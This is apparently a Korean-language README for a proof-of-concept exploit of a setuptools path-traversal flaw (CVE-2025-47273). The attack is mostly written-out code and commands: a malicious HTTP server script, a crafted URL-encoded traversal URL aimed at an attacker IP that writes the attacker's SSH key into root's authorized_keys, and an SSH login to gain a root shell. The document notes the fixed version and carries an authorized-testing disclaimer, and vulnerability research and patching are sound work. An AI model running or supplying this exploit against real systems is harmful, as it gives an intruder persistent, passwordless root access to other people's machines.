setuptools 경로 탐색 CVE-2025-47273

📖 개요

Python setuptools < 78.1.1의 경로 탐색 취약점에 대한 개념 증명 익스플로잇입니다.

PackageIndex 구성 요소의 _download_url 함수를 악용하여 공격자는 setuptools를 실행하는 프로세스의 권한으로 파일 시스템의 모든 위치에 임의의 파일을 쓸 수 있습니다.

🎯 취약점 요약

📋 전제 조건

• 양쪽 머신에 Python 3
• 공격자 머신에 SSH 키 쌍이 이미 생성되어 있어야 함 (~/.ssh/id_rsa + id_rsa.pub)
• 대상 스크립트가 사용자 제어 URL로 setuptools PackageIndex를 호출해야 함

🚀 사용법

🔧 1단계 — SSH 공개 키 준비 (공격자 머신)

# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys

📡 2단계 — 악성 HTTP 서버 시작 (공격자 머신)

이 서버는 경로에 관계없이 모든 GET 요청에 공개 키로 응답합니다. setuptools는 /USER/.ssh/authorized_keys 경로를 요청하지만 키 내용을 받게 됩니다.

cat > python_server.py << 'EOF'
import http.server
import socketserver

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Serve authorized_keys regardless of path requested
        self.send_response(200)
        self.end_headers()
        with open("authorized_keys", "rb") as f:
            self.wfile.write(f.read())

with socketserver.TCPServer(("", 80), Handler) as httpd:
    httpd.serve_forever()
EOF

python3 python_server.py

💥 3단계 — 경로 탐색 트리거 (피해자 머신)

ATTACKER_IP="192.168.1.20"
TARGET_USER="root"

sudo python3 /path/to/vulnerable_script.py \
  "http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"

👾 4단계 — root로 로그인 (공격자 머신)

ssh root@VICTIM_IP

비밀번호 없음. 직접 root 셸. 🔑

🔒 패치

버전 78.1.1에서 문제가 수정되었습니다.

📎 참고 자료

• 🔗 NVD — CVE-2025-47273

• 🔗 GitHub Advisory — GHSA-5rjg-fvgr-3xxf

• 🔗 setuptools 수정 커밋

• 🔗 setuptools PoC

⚖️ 면책 조항 및 이용 약관

이 개념 증명(PoC) 코드는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.

• 어떠한 권한도 이 코드를 다른 목적으로 수정, 재배포 또는 사용하는 데 부여되지 않습니다.
• 무단 사용 또는 수정은 불법 및 비윤리적일 수 있습니다.
• 저자는 오용이나 손해에 대해 책임을 지지 않습니다.